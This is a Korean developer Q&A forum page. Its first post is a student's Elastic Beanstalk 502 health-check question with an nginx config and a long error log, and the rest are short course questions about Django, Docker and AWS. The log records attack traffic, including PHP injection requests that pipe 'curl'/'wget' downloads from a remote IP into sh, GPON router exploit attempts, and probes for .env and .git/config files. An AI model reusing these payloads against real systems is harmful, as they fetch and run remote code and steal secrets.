묻고 답해요
141만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결
elasticbeanstalk healthcheck 오류 질문 (Target.FailedHealthChecks)
안녕하세요. 스프링 환경에서 elasticbeanstalk과 github actions를 활용해 CI / CD를 연습하고 있는 학생입니다. 프로젝트를 만든 다음 CI / CD를 하는 과정에서 에러가 생겨 간단한 프로젝트 파일을 다시 만든 뒤 (루트 페이지에 텍스트 뜨는) CI / CD 작업을 하고 있는데, 아래처럼 502 헬스 체크 에러가 뜨고 있는 문제가 발생하고 있습니다. 혹시 해당 오류를 해결하신 분이 있다면 도움 부탁드립니다..!작성한 nginx.conf 파일은 아래와 같습니다. 일단 5000번 포트를 쓰는 것 같아 upstream, proxy_pass를 5000으로 작성하였습니다. (그런데 각각 server 127.0.0.1:8080;, proxy_pass proxy_pass http://springboot;로 작성해도 결과는 같았습니다.)user nginx; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; worker_processes auto; worker_rlimit_nofile 33282; events { use epoll; worker_connections 1024; multi_accept on; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; include conf.d/*.conf; map $http_upgrade $connection_upgrade { default "upgrade"; } upstream springboot { server 127.0.0.1:5000; keepalive 1024; } server { listen 80 default_server; listen [::]:80 default_server; location / { proxy_pass http://127.0.0.1:5000; proxy_http_version 1.1; proxy_set_header Connection $connection_upgrade; proxy_set_header Upgrade $http_upgrade; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } access_log /var/log/nginx/access.log main; client_max_body_size 10m; client_header_timeout 60; client_body_timeout 60; keepalive_timeout 60; server_tokens off; gzip on; gzip_comp_level 4; # Include the Elastic Beanstalk generated locations include conf.d/elasticbeanstalk/healthd.conf; } }SERVER_PORT를 다음과 같이 5000 포트로 적용했고elasticbeanstalk의 로드 밸런서도 아래와 같이 설정했습니다.타겟 그룹도 다음과 같이 설정하였습니다.nginx의 로그를 확인해보면 다음과 같았습니다.2023/04/11 18:43:24 [error] 24478#24478: *116 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:43:24 [error] 24478#24478: *118 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:44:23 [error] 24478#24478: *120 connect() failed (111: Connection refused) while connecting to upstream, client: 223.152.72.163, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "year" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "month" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "day" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "hour" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:47:23 [error] 24478#24478: *122 connect() failed (111: Connection refused) while connecting to upstream, client: 198.235.24.23, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 19:08:41 [error] 24478#24478: *124 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 19:59:39 [error] 24478#24478: *127 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 20:25:27 [error] 24478#24478: *129 connect() failed (111: Connection refused) while connecting to upstream, client: 3.140.248.91, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:8080/.git/config", host: "3.35.18.161" 2023/04/11 20:26:02 [error] 24478#24478: *131 connect() failed (111: Connection refused) while connecting to upstream, client: 34.77.127.183, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 20:42:18 [error] 24478#24478: *134 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "year" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "month" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "day" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "hour" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:16:22 [error] 24478#24478: *137 connect() failed (111: Connection refused) while connecting to upstream, client: 212.224.86.136, server: , request: "GET /sendgrid.env HTTP/1.1", upstream: "http://127.0.0.1:8080/sendgrid.env", host: "3.35.18.161" 2023/04/11 21:17:41 [error] 24478#24478: *139 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "year" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "month" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "day" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "hour" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 22:13:41 [error] 24478#24478: *143 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 22:13:42 [error] 24478#24478: *145 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/11 22:20:01 [error] 24478#24478: *147 connect() failed (111: Connection refused) while connecting to upstream, client: 194.55.224.203, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 22:35:51 [error] 24478#24478: *149 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 23:40:01 [error] 24478#24478: *154 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 23:40:01 [error] 24478#24478: *156 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "year" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "month" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "day" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "hour" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:54:08 [error] 24478#24478: *159 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 00:00:18 [error] 24478#24478: *161 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "year" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "month" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "day" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "hour" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:13:46 [error] 24478#24478: *164 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:13:47 [error] 24478#24478: *166 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:41:01 [error] 24478#24478: *169 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 00:46:12 [error] 24478#24478: *171 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:46:14 [error] 24478#24478: *173 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:12:57 [error] 24478#24478: *175 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 01:14:04 [error] 24478#24478: *177 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:07 [error] 24478#24478: *179 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:08 [error] 24478#24478: *181 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 02:21:44 [error] 24478#24478: *184 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.121, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:22:37 [error] 24478#24478: *186 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.109, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "3.35.18.161" 2023/04/12 02:23:17 [error] 24478#24478: *188 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.111, server: , request: "GET /geoserver/web/ HTTP/1.1", upstream: "http://127.0.0.1:8080/geoserver/web/", host: "3.35.18.161" 2023/04/12 02:32:40 [error] 24478#24478: *190 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 02:35:26 [error] 24478#24478: *192 connect() failed (111: Connection refused) while connecting to upstream, client: 120.85.116.175, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "year" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "month" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "day" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "hour" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "year" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "month" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "day" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "hour" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:55:29 [error] 24478#24478: *195 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:55:29 [error] 24478#24478: *197 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 03:52:37 [error] 24478#24478: *200 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 03:56:49 [error] 24478#24478: *202 connect() failed (111: Connection refused) while connecting to upstream, client: 45.128.232.149, server: , request: "POST /boaform/admin/formLogin HTTP/1.1", upstream: "http://127.0.0.1:8080/boaform/admin/formLogin", host: "3.35.18.161:80", referrer: "http://3.35.18.161:80/admin/login.asp" 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "year" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "month" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "day" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "hour" variable while logging request, client: 45.128.232.149, server: 2023/04/12 04:31:04 [error] 9297#9297: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 159.65.111.248, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/", host: "localhost:8080" 2023/04/12 04:35:15 [error] 9297#9297: *4 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:15 [error] 9297#9297: *6 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *8 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *10 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *12 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *14 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *16 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *18 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *20 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:30 [error] 9297#9297: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:30 [error] 9297#9297: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:38:11 [error] 9297#9297: *41 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 05:12:56 [error] 18216#18216: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80"
-
해결됨이미지 관리 풀스택(feat. Node.js, React, MongoDB, AWS)
첫 로드시 동일한 이미지 두번호출
일단 저는 공개/비공개는 제외하고 만들고 있었는데 ImageContext에서 prevDara를 추가한 이후로 첫 로드시에 첫번째 이미지 리스트들을 두번 호출하는데 어떤 방식으로 해결해야 할까요???옵저버가 발동 되면 두번째 페이지 리스트들은 한번만 호출이 되는데 첫번째 페이지에 해당되는 이미지들만 두번이 호출되버립니다 ㅠㅠ 깃허브에 임시로 올려두긴 했는데 다른 파일들은 문제가 없어 보이긴 합니다ㅠㅠuseEffect(() => { if(pastImageUrlRef.current === imageUrl) return; setImageLoad(true); axios .get(imageUrl) .then((result) => setImages((prevData) => [...prevData, ...result.data])) .catch((err) => { console.error(err); setImageError(err) }) .finally(() => { setImageLoad(false); pastImageUrlRef.current = imageUrl; }); }, [imageUrl]);
-
미해결Do It! 장고+부트스트랩: 파이썬 웹개발의 정석
배포용 도커 컨테이너 실행이 안됩니다
docker-compose exec web python manage.py migrate를 했는데도 웹에 Bad Request (400) 라고 나옵니다docker-compose logs 내용인데 오류메시지가 어디있는지 모르겠어요
-
미해결AWS Certified Solutions Architect - Associate 자격증 준비하기
실전문제풀이 해설 pdf 요청 드립니다
저도 자격증 취득을 준비하고 있고저희 팀원들도 이 강의를 수강하며 열심히 준비하고 있습니다.pdf 자료 공유 부탁 드립니다.dico7@naver.com
-
미해결AWS Certified Solutions Architect - Associate 자격증 준비하기
실전문제풀이 9 19번
여서 왜 A 는 안되나요?단순 조정 정책도 특정 지표를 바탕으로 Auto Scaling 그룹을 동적으로 확장할 수 있는거 아닌가요?
-
미해결Do It! 장고+부트스트랩: 파이썬 웹개발의 정석
docker-compose exec web manage.py migrate
docker-compose exec web manage.py migrate를 입력했는데 django.db.utils.OperationalError: connection to server at "db" (172.18.0.2), port 5432 failed: FATAL: password authentication failed for user "do_it_django_db_user"라는 오류가 나서 검색을 해보니 docker-compose down -v와 docker volume prune을 입력해서 볼륨을 지워야 한다고 하는데 괜찮은건가요?? https://www.doitdjango.com/board/qna/338/여기에 가보면 저 명령어 두개 입력해도 안된다고 하는데 어떡해야 하나요??
-
미해결AWS Certified Solutions Architect - Associate 자격증 준비하기
실전 문제풀이 6강 18번
읽기 전용 복제본을 생성을 하면 여러 리전에서 읽기만 가능한거 아닌가요?그렇기에 온라인에서 사용하기에는 제약이 있는 것이 아닌가요?
-
미해결Do It! 장고+부트스트랩: 파이썬 웹개발의 정석
search_info가 안나옵니다..
(사진)
-
미해결Do It! 장고+부트스트랩: 파이썬 웹개발의 정석
docker-compose build가 안돼요
cmder에 docker-compose build 입력했더니no configuration file provided: not found 라는 문구가 나오면서 안됩니다.
-
미해결AWS Certified Solutions Architect - Associate 자격증 준비하기
[실전문제풀이 2] 3번문제 정답 재확인 [실전문제풀이14] 16번문제 정답 재확인
안녕하세요. 강사님.<실전문제풀이 2> 3번 문제 정답을 D로 알려 주셨는데, Kinesis Data Analytics는 이미 분석 플랫폼을 보유하고 있기 때문에 아닌 것 같습니다. 재확인 부탁 드립니다...또한, <실전문제풀이 14> 16번 문제 정답을 D로 알려주셨는데, B가 아닌지 재확인 부탁 드립니다.같이 스터디하시는 분의 오답노트를 보니, B가 정답으로 되어 있더군요..감사합니다..
-
미해결Do It! 장고+부트스트랩: 파이썬 웹개발의 정석
검색버튼 작동이 안돼요
검색어를 입력하고 go버튼을 눌러도 작동하지 않고Uncaught ReferenceError: searchPost is not defined at HTMLButtonElement.onclick 라고 메시지가 뜹니다.
-
미해결자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
13강 오류질문
URL문제라고 하는데,,잘 모르겠습니다 도와주세요!!
-
미해결자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
실행시 갑자기 알수없는 아이디 비밀번호 질문
인텔리에서 실행하고난후에 포트 8080으로 잘 들어갔는데갑자기 이름 비밀번호를 물어보는데 어떤걸 적어야할까요?? 배포 한후에 이렇게 비번을 물어보는창이 떠서요!코드 수정한부분없고 db 연결 잘 되어있는데 어떤부분이 문제일까요? 배포 부분말고 제 컴터에서 돌리는 부분입니다!
-
해결됨비전공자를 위한 풀스택 맛집지도 만들기 프로젝트!: Front, Back-end 그리고 배포까지
완성 사이트 접속이 안됩니다
안녕하세요. 오늘부터 <풀스택 맛집지도> 수강하고 있는데요. 아래 완성 링크에 접속이 되지 않습니다. 확인 부탁드립니다~! 감사합니다. http://www.seongong.shop/
-
미해결자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
리눅스 mysql 8.0 설치 에러
